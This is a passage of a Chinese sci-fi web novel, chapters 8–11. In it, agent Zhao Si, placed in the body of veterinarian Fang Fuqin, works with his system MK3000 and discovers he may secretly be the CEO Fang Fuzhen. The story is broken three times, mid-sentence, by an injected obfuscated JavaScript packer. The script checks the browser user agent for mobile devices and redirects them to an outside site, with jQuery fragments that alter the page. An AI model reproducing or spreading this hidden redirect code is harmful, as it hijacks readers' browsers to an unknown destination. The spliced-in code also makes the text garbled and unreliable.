“居安新,你真是让我体验到了以前从没有过的经历——高兴时,我被你拿来欣赏;累了、有压力时,就能随手丢开。到了今天,你甚至……需要找别人来填补你的所谓‘空虚’。” “我没有!我从来没有把你当成点缀!”居安新急切地想要抓住什么来证明自己,“我心里只有你!你要我怎么证明?把心挖出来给你看吗?没有你我才真的会疯掉!昨晚是我不对,我道歉,我发誓以后再也不会发生这种事!你别哭……求你,别这样……” 在某种气氛的烘托中,居安新开始真正慌乱起来,他语无伦次地发誓、保证,在这一刻,他满心满眼都是自己恋人的眼泪,再也看不见其他。 而赵四却看见洛伦垂在身侧的手轻轻抬了抬。 那只手经过唇边,若有似无地停顿了一瞬,然后自然偏移到脸颊,擦去了脸上的泪痕。 动作流畅,姿态脆弱。 被伤透了心的小少爷看起来真是伤心极了。 可赵四分明看见了,就在半秒前,被洛伦指尖掠过的唇角——似乎错觉一样的轻轻向上弯了一下。 8. 第8章 他心悖论8 错觉吗? 不,赵四相信自己的眼睛,那绝不是错觉。 洛伦是真的在刚才借着抬起的手遮掩,做出了一个想笑的表情。 他在心底“哇哦”了一声,看戏看的更聚精会神了。 情绪爆发也爆发完了,这戏剧应该马上要进入收尾阶段了吧? 果然在那边,洛伦·艾克的声音已经开始平静下来了。 “证明?发誓?”洛伦轻轻摇头,“安新,信任从来不是靠誓言建立的。” 他停顿片刻,平复了一下过于急促的呼吸后才接着说道:“我承认,走到今天这个地步……我们都有责任。”再抬眼时,眸底那点激烈的光已然沉静下去,“先分开一段时间吧,安新,我们都该好好想想,想想接下来我们的关系要怎么处理……才对双方都好。” 说完这些,洛伦不再给居安新任何反应的机会,他转身,快步走向楼梯。 居安新把什么理智体面全都抛在了脑后,他拔腿就追,声音里充满了惊慌。 “洛伦!别走!你去哪儿!我知道错了!” 两人一前一后冲上楼梯,交叠在一起的脚步声仓促而杂乱。 最终待两人远去后,所有的动静都被良好的建筑隔音材料吞噬,世界骤然恢复了寂静,只有环境音还在空气中若有若无地流淌。 虫鸣不知何时已悄然切换成了模拟微风偶尔吹拂树叶的沙沙声,音量依旧恰到好处,歌颂着永不落幕的“自然”——不过也没差别,反正还是人造物。 赵四缓缓在脑子里鼓了鼓掌。 【值回票价,真是值回票价,】他由衷地对MK3000感叹,【我甚至开始觉得,这一单出诊不要钱都行了……】 真是一场高水准情感博弈与情绪操控的大戏啊。 从进门控场,到步步紧逼,再到示弱引爆,最后以以退为进的方式抽身,节奏把握的堪称精妙。 赵四问MK3000:【你看到洛伦抬手擦眼泪的动作了吗?就在居安新语无伦次发誓的时候。】 MK3000自然不会错过这种细节:【看到了。微表情动态分析显示,他当时的肌肉走向更接近抑制笑意,因为与情境严重冲突,才借拭泪的动作遮掩了过去。】 果然,再好的演技,在情绪转换的瞬间,身体的本能反应还是会泄露真相。 洛伦对居安新的感情……远没有他表现出来的那么“受伤”和“深情”。 得,戏看完了,作为一个不慎旁观了客户家庭争吵的宠物医生,赵四现在该识相退场了。 他状似无措地抬手抹了把脸,随后将目光转向那位仿佛自带场景切换功能、此刻已悄然静候在旁的老管家。 这位老管家挺神奇的。 神奇的点在于,他似乎深谙“存在感”的艺术,出现的场时机都是他应该出现的,比如结账、送客,他总能分毫不差地出现在最合适的位置。 而不该出现的时候,比如主人家激烈争吵、情绪失控时,他能将自己的存在感抹消得近乎于无,仿佛融入了背景。 哪怕是赵四,在刚才那场冲突中,也没能准确察觉到这位管家到底是什么时候、从哪个角落悄然进入客厅的。 而现在冲突告一段落,老管家便自然而然地走到了赵四面前。 将电子签字板平稳递至赵四面前,管家声音里听不出半分波澜,仿佛方才那场争执只是幻觉。 “先生交代过,您此次出诊的费用仍记在他的账上,请您在此签字确认即可。” 他侧身示意门外:“送您返程的车已备好,随时可以出发。此外……今日在此的所见所闻,还望您能守口如瓶。” 赵四接过签字板,目光在那笔足够丰厚的数字上一掠而过,随即利落地签下名字递了回去。 迎上管家的目光,赵四扯出一个职业化的微笑,语气坦然:“当然,保护客户的个人隐私是我应该做的,您尽可以相信我的保密能力。” 他毫不留恋地走出了别墅。 清晨的微凉空气取代了室内的恒温恒湿,别墅门口,一辆低调的黑色悬浮车如同幽灵般无声滑停,车门自动向上开启。 坐进车里,车门关闭,车子平稳启动,刚刚被看戏的兴致压下去的头痛又找上门,赵四靠进椅背闭目养神,却在某个瞬间忽然起了个念头—— 【三儿啊,你说真假少爷这条任务提示,会不会应在洛伦身上?】 MK3000:【你想干什么?】 赵四:【没什么,就是想搞到洛伦的生物检材,然后和他的爹妈做个亲子鉴定。】 都真假少爷了,总得有真有假吧! 直接用科学手段一锤定音,岂不省时省力。 MK3000:【不是我泼冷水,洛伦的检材或许还能想想办法,但环宇集团董事长夫妇的生物样本,你打算怎么弄?】 赵四很想回答一句当然是靠万能的系统商城,反正这次任务期间的花费主系统全额报销,但他的理智及时按住了这句话。 为什么呢? 因为世界维护中心有一条铁律——任务期间,专员与系统不得使用超出本世界科技水平或世界观逻辑的物品与能力,一切行为必须以“合理”为前提。 举例来说,赵四这次兑换兽医技能完全合规,因为方复秦本就是兽医,会兽医相关技能简直天经地义。 可如果他试图兑换魔法或修真功法,立刻会被驳回:方复秦只是个普通人类,身份卡不存在超凡设定。 同理,赵四也不能凭空搞来什么未来科技检测仪、更不能用隐身技能盗取样本,他必须在本世界既有规则内找到可行的路径来完成任务。 换句话说——任务可以取巧,但不能开挂。 赵四:【啧,可惜了。】 MK3000:【知足吧你,在科技侧世界,我已经是你最大的合法外挂了。 毕竟中心的立场是维护世界稳定运行,主系统派咱们来是来修bug的,不是来当病毒崩了这个世界的。】 赵四:【行,那亲爱的金手指,环宇董事长夫妇的基因数据……这世上总该有地方保存着吧?能搞到吗?】 MK3000答得很快很干脆,估计是不知道什么时候就试过了。 【难搞。有是有的,不过那地方叫‘密室’,基本就是个电子荒漠,网络接口少得可怜不说,还依赖物理安保。 当然了,退一万步说——你要是那位传说中的四方科技大老板本人,那眼前这点障碍,根本不算个事儿。】 赵四差点呛住,【啊,谁?我吗?】 MK3000循循善诱:【想想看,那才是真的权限全开、毫无阻碍,别说查洛伦和他父母的基因,就算把‘密室’里所有核心档案打包调出来,也就是动动指令的事儿,到时候别说查真相,速通任务可能都不是梦。】 速通前景听着是挺美好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066881|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但赵四没被系统画出来的这饼忽悠住。 【那也未必是好事。】 MK3000:【嗯?】 赵四:【如果我真那么走运,拿到的身份卡就是四方科技的大老板,想查什么查什么,那这任务岂不是太简单了。咱俩来做的可是“特殊高难任务”,主系统又最讲‘平衡’。 真要给这么个开局,那只说明一件事——这个身份本身,或者说这个身份要面对的局面,就是一个深不见底的大坑。】 甚至可能比从零开始摸索更凶险的那种。 简单模式,速通开挂?不存在的,那都是批了层皮的深渊。 MK3000笑了起来:【喔,脑子挺清醒。】 赵四:【对试探出来的结果还满意吗?】 MK3000:【目前来说,相当满意。】 面对巨大诱惑还能保持逻辑、冷静分析,这很可贵。 讲道理,它并不歧视笨蛋专员——毕竟任务绑定,还能离咋的? 但和聪明人搭档,确实省心太多。 假如系统有实体,此时他们或许会对视一眼,心照不宣。 这段短暂的磨合期让双方都确认了一件事:这搭档能处。 双方再度恢复和谐时,悬浮车已平稳降落在宠物医院五楼。 这次不用赶时间,虽然依旧走的是私人航道,全程却用了将近四十分钟。 直到这时,赵四才后知后觉地意识到,昨晚那位司机,怕是个深藏不露的飙车鬼才。 【该留个联系方式的。】赵四有点遗憾,【会开车的人多,能把路程时间压下一半的可不多见。】 MK3000接话接得自然:【说不定哪天又赶急单,就遇上了。】 赵四对这份安慰还算受用,搭档之间的默契,本就是靠这点滴细节慢慢养出来的。 五楼的半开放式平台仍旧笼罩在一种带着油润感的潮湿空气中,不知道什么时候下过的雨已经停了,但地面还残留着未干的水渍,那些水渍掺杂着大片轻薄的油膜,光线在反光后折射出一道道虚幻的彩晕。 这里和赵四昨晚离开时几乎一模一样,仿佛时间在这里陷入了某种循环,赵四驻足看了片刻,才乘电梯下楼。 轿厢下行时,他对MK3000说:【昨天太赶了,都没来得及找找“我”到底住在哪儿。】 在密闭的箱体中,赵四再度闻到了自己身上不太好闻的混杂味道。 他闭了闭眼睛,有点无奈,【再不找个地方洗澡睡觉,我严重怀疑这身体,连带我的精神状态,都要开始丢失些本就不多的美好品质了。】 MK3000表示了同情,然后给出了建议:【小方院长以往经常在外流连,医院事务基本不管……好吧,我知道那可能是伪装。但既然他常不待在这儿,在外面有固定住所的概率应该不低。】 赵四表示外面有没有住宅的无所谓,哪怕在医院里先找个能躺平的地方呢,重点是他现在急需修整。 MK3000:【明白了,我再看看医院内部结构图和权限记录……哦,这个,找到了。‘院长休息室’,就在你的专属治疗室隔壁,有独立卫浴。】 “专属治疗室”这个词一出现,某些因为夜晚的匆忙而暂时被赵四搁置的待办事项,突然清晰地浮现了出来。 说起来……昨天晚上光顾着去看别人家那只饿晕的银星犬了,他自己……好像也有一只狗? 9. 第9章 他心悖论9 方复秦确实有一条狗。 ——那条曾经出现在《霸道院长狠狠爱:可爱小狗哪里逃》里的小黑狗,实际上也确实存在。 方复秦前几天才把它捡回来,现在狗就在院长的专属治疗室里养着呢。 任务播报里最后那句提示“请注意,你的爱人,不能是一条狗”,又在赵四脑海里回响了一下。 赵四脚步一顿,改变了直奔休息室的想法:【……开个导航,咱们先去那个‘专属治疗室’看看狗。】 按照MK3000在专员面板上投射的箭头指引,他穿过略显冷清的走廊,路上遇见两个匆匆赶来上早班的护士。 “院长早!” “方院回来啦?听说您昨晚出诊了?” 护士们打招呼的语气礼貌,赵四也点点头算是回应,护士们没什么多余的好奇心,打个招呼就各自忙各自的去了。 赵四则顺着导航来到一扇挂着“院长专用-治疗观察室”牌子的门前,门是电子锁,也不用赵四费心,有MK3000在,医院里没有能挡住赵四的电子锁。 这间治疗观察室比普通诊室稍大,设备也算齐全,房间里唯一的客人很显眼,就在一个铺了软垫的透明观察箱里。 一只瘦瘦小小、毛发稀疏杂乱的小黑狗正蜷缩在里面睡觉,它还太小,看起来完全就是刚出生没几天的样子。 赵四蹲在观察箱前看了看旁边的记录板,体温、进食、排泄都标记着正常。 他伸出手指,轻轻碰了碰小黑狗,小黑狗温热而起伏着的身体让他的手顿了顿,然后自然的收了回去。 看着只有巴掌大,仿佛一阵风就能吹跑的小黑狗,没发现什么异常的赵四谨慎地在备忘录里把“按时看狗”这件事标红,准备以后没事儿了就多来观察观察。 看完狗,强忍着倒头就睡的冲动,赵四推开了隔壁“院长休息室”的大门。 房间不大,但确实有床和独立的卫生间。 这间光线昏暗但还算干净的休息室,已经满足了他此刻对“天堂”的所有期待。 ——但是还不能立刻就扑向那张床。 背靠着关上的门,赵四的声音有气无力:【三儿,扫描。】 MK3000的效率极高的来了一套扫描:【全局扫描完成,常规环境安全。】 很好,现在可以了。 赵四反锁上门,将最后一丝顾虑抛开,把沾满混杂气味且皱皱巴巴的衣物随手扔到扔到角落的椅子上,之后几乎是飘着走进了卫生间。 热水以最快速度冲刷而下,带走皮肤表面的粘腻,却没冲散意识深处的混沌。 他甚至没怎么仔细擦干身体,只是胡乱用毛巾抹了几下,就晃出了卫生间的门。 凭借模糊的记忆找准床的位置,赵四一头栽倒在还算柔软的床垫上。 连调整姿势的力气都欠奉,几乎是脸接触到枕头的瞬间,他的意识就像被骤然抽空,瞬间陷入了婴儿般黑甜的睡眠。 MK3000看得简直有点害怕了。 【这么困?不应该啊……】它在操作间的虚拟面板前,发出困惑的嘀咕声。 数据流快速检视着赵四这具“方复秦”身份卡的身体基础数据,它没发现哪里不对。 【区区熬了一个大夜,这生理性疲惫值飙升得也太夸张了点……这身份卡的身体素质是不是有点虚啊?还是说灵魂加载初期的适应不良反应?】 在这里需要说明一下他们执行任务的特殊方式。 系统和专员在通过系统大厅的“任务载入中心”接入任务小世界后,专员通常会由小世界规则分配一张或多张“身份卡”。 专员的灵魂(或者说意识体)会加载进身份卡中,暂时“成为”那个世界里对应的角色,使用角色的身体和基础社会关系进行活动。 那么,专员原本的身体呢? 答案是和系统在一起,待在名为“操作间”的独立亚空间里。 “操作间”是主系统为每个任务单元配备的后勤与保障空间,内部环境可以自定义,通常被专员们设定成类似一套功能齐全、可以舒适居住的大房子。 系统和专员在其中各有独立的“房间”——系统通常占据类似控制中心的“操作台”区域,而专员的身体则被妥善安置在专属于他的、带有维生和休眠功能的“专员卧室”内。 平时系统的大部分工作都可以在操作台前完成,通过数据链接与任务世界中的专员灵魂沟通协作。 操作间内也内置了娱乐、休闲、训练等功能性空间,供专员和系统在任务间歇或系统自身调节使用。 更重要的是,操作间的存在本身就是一道最后的保险。 一旦专员在任务世界中遭遇危及灵魂完整性的极端危险时,操作间的安全协议就会启动,自动将专员的灵魂强制拉回他原本的身体内,避免受到永久性损伤。 现在,赵四在任务世界里几乎是秒睡,这种异常的疲惫沉眠让经历过无数风浪的资深金牌系统MK3000感觉不太对劲。 它想了想,决定还是去亲自查看一下赵四本体的情况。 它得确保万一任务世界那边真出了什么幺蛾子,操作间的安全拉回程序能及时且顺畅地启动,让赵四的灵魂回来后能有个完好无损的“家”可以待。 要是因为本体这边有隐患而耽误了,到时候后悔可来不及。 MK3000对操作间的AI助手下达指令:“操作台,启动自动警戒协议,监控任务世界‘方复秦’身份卡基础生命体征及环境安全等级,异常阈值调至最低,有任何风吹草动立刻通知我。” 【指令确认,警戒协议已激活。】 安排好后,MK3000的数据核心微微闪烁,它的拟态形象开始变化——从一个悬浮的Q版小章鱼重新塑形,最终变成一个大约七八岁的黑发黑眼小男孩。 “他”穿着简单的T恤和工装裤,轻巧地跳下操作台的高椅,迈着小短腿走向操作间深处属于赵四的专员卧室。 给人类专员的身体做精细检查,还是拟态成人类形态、拥有类人感官和操作精度时效率更高。 谁让放置专员身体的“生命维持仓”设计得太智能和拟真,会根据专员原生身体的种族特征进行精细化环境模拟和维护呢? 用属于人类的手去检查和调整,比纯粹的数据指令更直观有效。 来到专员卧室,MK3000走到维持仓前,踮起脚熟练地调出详细的生命体征数据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066882|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一项项仔细检查过去,没发现什么问题后他才松了口气。 给赵四的睡美人身体加了一张毯子,MK3000费解地原地转了几圈,“难道真是身份卡太虚,还是那张‘方复秦’身份卡本身有什么隐藏的缺陷或设定……?算了,之后把异常告知专员,然后督促专员在任务之外锻炼下身体吧……” 一无所获地回到了操作间的主控区域,黑发黑眼的小男孩重新拟态成用操作台更方便、它也更习惯的小章鱼形态。 看着赵四还在滴水的头发,它想了想,熟练地用触手在面板上点点点,调出任务资源库。 把任务资金划拨出一点点,兑换了一张辅助卡中最基础的“环境辅助卡·速干型”。 把它精准地拍在了任务世界里正在沉睡的赵四身上后,MK3000满意地看到赵四整个人干爽起来。 做完这件小事,小章鱼形态的MK3000拉伸了一下自己Q弹的触手,然后又让它们“啪嗒”一下软软地弹回原样,像个自娱自乐的果冻。 “晚安,祝你睡个好觉,赵四专员。” 如MK3000所祝福的那样,赵四睡得很沉。 这一觉不知睡了多久,时间在深度睡眠中失去了意义。 赵四似乎梦到了很多东西,光怪陆离的碎片在意识深处翻涌,但等他被MK3000叫醒时,那些梦中的碎片就像滑不溜手的鱼一样溜走了,一点都没剩下。 【……专员、赵四专员?醒醒。】 MK3000充当了一下赵四的临时闹钟,声音里带着一丝介于催促和同情之间的复杂情绪,【虽然从生理指标看你睡得还挺沉,但是……我觉得你最好醒一下,看一眼终端。】 赵四的眼皮沉重得像挂了铅,挣扎了好几下才勉强睁开一条缝。 房间里一片昏暗,他下意识地咕哝回应:【你这语气可不像是有好事在等我的样子啊……怎么了?】 不需要系统再回答了。 随着他的清醒,个人终端自动开机。因为开了防窥模式,所以只有他自己(和共享了他视野的系统)能看到具体内容的面板幽幽亮起。 这面板还挺智能,感应到环境光比较暗,光屏本身的亮度也并不刺眼。 一条未读消息的提示图标静静地悬浮在屏幕中央。 发信人:【赛琳娜】 标题:【房先生,请您保重身体】 时间:【182年7月2日,上午9:00】 赵四的睡意瞬间被这行字驱散了大半。 他有些僵硬地点开信息。 只见这位赛琳娜小姐以一种专业、体贴、甚至带着点恰到好处担忧的口吻写道: 【房先生,得知您身体不适,需要休养一天,大家都非常担心。 公司这边您无需挂心,我已协调妥当,所有紧急事务都会按流程处理,非紧急事项也已为您顺延。请您务必以身体为重,好好休息。 如果还需要多休息,请务必提前告知我,我好及时调整您接下来的行程安排,并代为向必要的合作伙伴致歉。 祝您一切顺利。 ——您忠诚的助理,赛琳娜】 赵四:“……” 还是赵四:“?” 10. 第10章 他心悖论10 他盯着屏幕,好像要把屏幕看出一朵花儿来。 【三儿啊,现在什么时候了?】 MK3000:【七月三日,凌晨四点半。你睡了整整十九个小时。】 赵四目光发直,“您忠诚的助理,赛琳娜”这几个字在眼中几乎模糊成一片。 【你看啊,这个消息是发给“房先生”的……你说有没有可能,这条消息是发错了?】 MK3000反问:【你觉得呢?】 最后那点侥幸心理如同阳光下的肥皂泡,“啪”一下碎了。 赵四手指有些僵硬地戳了戳那个名字,试图调出更多信息,同时在心里叹了口气,问MK3000:【赛琳娜是谁?公开网络里能查到这人什么来头吗?】 MK3000有点迟疑。它沉默了几秒钟,还是说道:【查倒是能查到,但是……】 赵四:【但是?】 MK3000:【但是这条消息有点离谱。根据网上的信息披露,再加上这条信息的口吻、措辞、以及它所关联的关键词……综合分析,这个‘赛琳娜’,有97.8%的概率是……四方科技集团总部,最高决策层执行办公室的秘书长,或者说……总裁首席行政助理。】 赵四感觉自己头有点儿晕,可能是没睡够,或者说他现在干脆就在梦里:【……四方科技的总裁助理?给我发信息?叫我‘房先生’,还让我好好养病??】 MK3000:【……是的。】 赵四沉默了好几秒,那沉默在狭小的休息室里几乎震耳欲聋。 他缓缓地、一字一顿地在脑海里问:【那、我、又、是、谁?】 MK3000这次沉默得更久,最终,用一种破罐破摔的坦然回答了赵四。 【如果赛琳娜真的是四方科技总裁的助理,而她称呼您为‘房先生’,并理所当然地为你协调行程……那么,专员,按照这个世界的身份逻辑来推断,您大概就是那个我们之前讨论过的、理论上拥有最高权限、能打开‘密室’基因库的……四方科技那位传说中心黑手狠的年轻天才,四方科技的大老板——房馥臻。】 赵四:“…………” MK3000:【你看,有时候随便吐个槽或者画个饼……它突然就以一种非常离谱的方式成真了……】 赵四猛地从床上坐起来,环顾这间位于上城区边缘宠物医院里的院长休息室,空气里还残留着淡淡的消毒水味道。 他降落在这间宠物医院里,被这里的医生护士理所当然地叫院长,甚至才刚刚出了个狗差点饿死的急诊,听实为四方科技区域总裁的客户骂完他的顶头上司,又看了场戏才回来。 多敬业啊,方兽医。 可现在,敬业的方师傅忙完这一夜回来,刚刚补眠结束,肚子还饿得咕噜咕噜,就直面了他的“总裁助理”发来的温馨慰问信,让他好好养病,工作她来协调…… 赵四的脑海里闪过了那盆不合时宜的办公室盆栽,又回忆起和系统在生态区的对话,他眼前一阵发黑。 【好消息,哈哈。】赵四的声音有点干涩,他舔了舔同样干涩的嘴唇,感觉有点想喝水,【在非常短的时间内,咱们成功发现“方复秦”这个身份底下藏着的惊天大秘密了。当然,也有可能这还只是秘密之一。】 不过坏消息是……如果这真的是事实,那正如之前他和MK3000所说,他们要面对的环境突然就变得更复杂了。 MK3000:【啊这……】 先不说房馥臻到底是怎么成了方复秦,赵四现在很好奇一件事。 赵四:【房馥臻……有对外公开的影像吗?】 他高低得看看,这奇葩总裁是不是和小方院长长着一张脸。 MK3000丝滑地理解了赵四的意思,网速飞快地调出房馥臻的照片。 照片加载出来后,赵四屏住呼吸仔细看去。 照片里的人和方复秦现在这张脸……不能说一模一样吧,至少也是两模两样,毫无关系。 “方复秦”是偏雅致温润的长相,五官柔和,眼神带着点职业性的温和,以及天性的散漫,属于耐看但不算惊艳的类型,丢在人群里不会太扎眼。 而“房馥臻”则是存在感很强的类型——面容轮廓清晰冷峻,眉眼深邃,哪怕只是随意抓拍的照片,整个人都透着一股不容置疑的距离感。那是种第一眼就能让人记住,并且下意识感到压迫的相貌。 两人唯一的共同点,大概就是看起来都二十多岁的年纪。 赵四又仔细对比了一下。 没错,就是两个人。 骨骼结构和肌肉走向都完全不一样。 所以,这不是同一张脸扮演两个角色的类型……那更诡异了。 【两个身体,两张脸,一套行程,一个助理……】赵四喃喃道,感觉头更痛了,【这到底是怎么操作的?难道这个世界的科技已经发展到可以灵魂双线操作、远程控制身体了?】 总不至于是一个人用一个身体扮演两个身份吧?感觉会累到猝死。 不过说到这个…… 赵四忽然精神一振:【快快快,三儿,再开商城看看,“开马甲”、“精神分割术”、“远程控制型备用身体”这类商品能不能兑换?】 全程报销有全程报销的玩法。 比如现在——赵四用系统商城测试商品兑换权限:哪个能兑,就说明哪个被世界判定为“合理存在”,那他就能开马甲出去浪了。 如果全都不能兑,那就说明身份卡大概率是个纯肝帝,一人真身硬扛双号,而赵四接下来也得继续扮演这种肝帝。 MK3000语带赞叹:【太会钻漏子了,专员。】 它将所有涉及“分身”、“操控”类的商品全部点了一遍,最终确认无一生效。 好吧,就知道没这么简单。 赵四稍显遗憾的叹了口气,随即打起精神起床收拾自己。 打开简易衣柜,里面挂着几套熨烫妥帖的日常衣物,尺码合身,风格符合“方复秦”温和散漫的形象,质地也不错。 ——这是确认“方复秦”这个身份被用心经营维护的证明。 从外貌、职业、社会关系到生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066883|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细节,一切都构建得如此自然完整……这绝非易事,需要庞大的资源和精密的规划才能做到这种程度。 赵四需要信息,需要正式踏入那个身份的世界,才能看清“房馥臻”这个深坑里究竟布满了怎样的荆棘。 而赛琳娜是条明线,也是目前最好接触的突破口。 所以他要直接去四方科技的总部,亲眼看看到底是怎么回事。 MK3000完全支持他的行动,但在赵四进行下一步前,系统提醒了他昨天的异常。 【赵四专员,有件事我必须告诉你。】 赵四动作一顿:【什么?】 MK3000:【你没发现吗?从你加载进这张‘方复秦’身份卡开始,疲劳值积累速度就异常的快。昨晚的宿醉和情绪冲击固然消耗精力,但深度睡眠后的恢复程度,远低于正常身份卡的预期。】 它干脆调出了一组数据对比曲线,一条是标准健康身份卡的恢复曲线,另一条属于“方复秦”,二者差异明显。 【我在你深度睡眠时返回操作间仔细检查了你的本体,你的本体并无异常。】MK3000继续道,【所以如果不是“方复秦”虚的实在异于常人的话,那问题就出在这张卡本身上面,它很可能存在不明显但持续的隐藏缺陷或设定。】 【这种缺陷在平常或许不明显,但在压力、熬夜、情绪波动等干扰下,就会像现在这样凸显出来,表现为异常疲惫和恢复缓慢。】 又验证了一个坏消息,但赵四沉思片刻反而释然了。 虽说身份卡是他在这个世界活动的基础,健康与否还挺重要的,但在他来之前,“方复秦”或者说其背后的“房馥臻”已经用了这么多年,人也顺利长这么大了。 这说明缺陷虽然存在,但一时半会儿应该出不了大事 再说了,就算退一万步讲,如果他特别倒霉,身体真的在任务完成前就出事了,那不还有系统和系统商城托底吗? MK3000向赵四做出了承诺:【我会持续监控,并做好应急准备。放心,赵四专员,我会把你完完整整地带回去的。】 【好。】赵四点头,【那么现在,让我们先去会会那位赛琳娜助理,看看房馥臻的世界里,到底给我们准备了什么样的惊喜吧。】 赵四回复了赛琳娜的消息,在表明身体已无大碍可以恢复工作,不需要额外延长假期之后,他最后暗示赛琳娜想办法来接他回去。 毕竟四方科技总部所在的上城区第一街区又被称之为“曙光区”,位于浮空城核心地带,那里的进出需要严格的权限审核,通行证必须提前申请报备,车辆和人员信息都要录入中枢系统。 不管怎么看,那里都不是还隐藏着身份的赵四能自己过去的地方,除非他愿意直接暴露“房馥臻”的身份——但隐藏身份难道就是为了直接暴露?这样一次性的用法也太浪费了,还容易被人发现不对。 消息回复后不久,赛琳娜就发来了新的信息。 【赛琳娜:收到。已为您安排接驳车辆,车辆会直接带您进入总部。请注意查收终端内的通行指引。】 11. 第11章 他心悖论11 赛琳娜的效率简直高的可怕,要知道这可是早上五点。 赵四叹为观止,但他左看右看,愣是没从这条回复里找到他需要的关键信息,比如车什么时候到,在哪儿接人,说好的通行指引在哪里? 一个到能担任四方科技总裁首席助理的人,不应该犯这种疏忽。 这更像是一种试探,或者说,一种隐晦的提醒:有些事情,需要“方复秦”自己去解决。 赵四盯着这条信息,片刻后,将视线投向休息室的大门。 他知道外面是什么,那是凌晨时分仍旧灯火通明的医院走廊。 他想起了另一个人。 在他刚刚来到这里的那个夜晚,就在类似的一条走廊里,有一个避开监控、将现在他手里的个人终端塞给他的义体科医生。 ——林琳。 就是这么一个完全符合“方复秦”身份的终端里,存着赛琳娜的通讯方式。 这本身就足够离谱了,一个中城区宠物医院的医生,怎么可能拥有四方科技顶层核心助理的私人联系渠道? 除非……她根本就不是普通的医生。 【三儿,查一下林琳现在的位置。】 MK3000:【医院内部,三楼,义体科诊疗区。她今天很早就来了……不,我看到内部系统的记录了,她是从昨天上午抵达医院后,就没有离开过医院。】 赛琳娜和林琳两条线在他的脑海中交汇。 【昨天赛琳娜发消息时我没及时回复,林琳就来了。】赵四在意识中对MK3000说,【她恐怕不只是来上班,更是来确认‘方复秦’的情况,或者……在等我下一步的动作。】 也许林琳本身就是连接“方复秦”与“房馥臻”世界的一个交汇点,她是一个枢纽,一个活着的“通行指引”。 MK3000直接给出了前往义体科诊疗室的详细导航,没有再做犹豫,赵四推门走出了休息室。 凌晨的医院走廊比夜晚安静,少数清洁机器人在无声滑行,在隐约的仪器低鸣声中,他径直走向三楼义体科。 诊疗区的门虚掩着,门缝里透出柔和的光。 赵四推门而入。 林琳果然在里面,她没穿白大褂,只穿着一件简单的深色针织衫。 此时她背对着门口,站在那排闪烁着幽蓝光芒的数据储存柜前,手里拿着一块透明的数据板,正在上面记录着什么。 听到动静,她迅速回头,见到是赵四,她才放松了紧绷的身体。 “院长?”她的声音有些低哑,透着熬夜的疲惫,“听说您出完急诊回来,身体就感觉不太舒服……现在感觉好些了吗?” 她不知道自己是来干什么的? 不,想想林琳避开的监控,以及上一次见面时的态度…… 上次来候诊区的休息室门口等赵四时,林琳借着“告知院长王副院治疗情况”这件事,掩盖了送个人终端的真实目的,那么在医院这边人的眼中,他们之间的交流应该是隐蔽的——至少每次都应该有正当理由,不会出现莫名其妙的联系。 【这里有监控吗?】 MK3000:【如果你说的是这个诊疗区的话,是的,这里有。】 于是赵四调整了自己的将要出口的话。 他脸上露出恰到好处的疲倦和一丝被工作打断休息的无奈,声音也比平时低了些:“好多了,就是还有些头疼,睡不踏实,所以起来走走……倒是你,林医生,这个时间点,怎么还在诊疗室?是在处理昨天王副院长那边的后续资料?” 林琳叹了口气:“是啊,王副院长那边虽然急救及时,但故障原因还需要进一步分析,有些数据需要复核……但是院长,咱们医院有些设备实在是……” “这倒是不用担心。”赵四露出笑容,“咱们的客户昨天可是大方了一把,没有意外的话,急需更换的设备总算是能更新换代了。” 他顿了顿,话锋一转:“不过那位客户情况有些复杂,要求也比普通客户高一点,后续的保养药物和万一的义体更换可能会有点麻烦……我正想找个时间,看看我们医院这边有没有什么渠道。” 他看向林琳,意有所指,“林医生你在义体科见多识广,不知道有没有什么建议?” 林琳没有立刻回答,她的目光与赵四在空中短暂交汇。 她似乎在评估什么,然后像是下定了决心,轻轻将数据板放在旁边的操作台上。 “渠道的话……我确实有。”林琳压低声音,“院长,如果您真的非常需要,那我们最好尽快出发。” 赵四意外地和MK3000说道:【这是要送我一程吗?林医生和我的关系,好像比我想象的要好啊。】 MK3000:【或者说,她接到的“指令”或肩负的责任很重,不允许有半点闪失。】 所以才要亲自搞定这件事。 赵四几不可察地点了下头:“那……麻烦你了,林医生,现在走方便吗?” “等我一下,我收拾东西。” 林琳快速将数据板归档,然后拎起一件就挂在椅背上的薄外套。 “我们走吧,院长。” 他们下楼前往一楼的停车场。 停车场显得颇为老旧,地面上有大片的涂鸦,空气里飘着机油与灰尘混合的、属于旧时代的沉闷气味 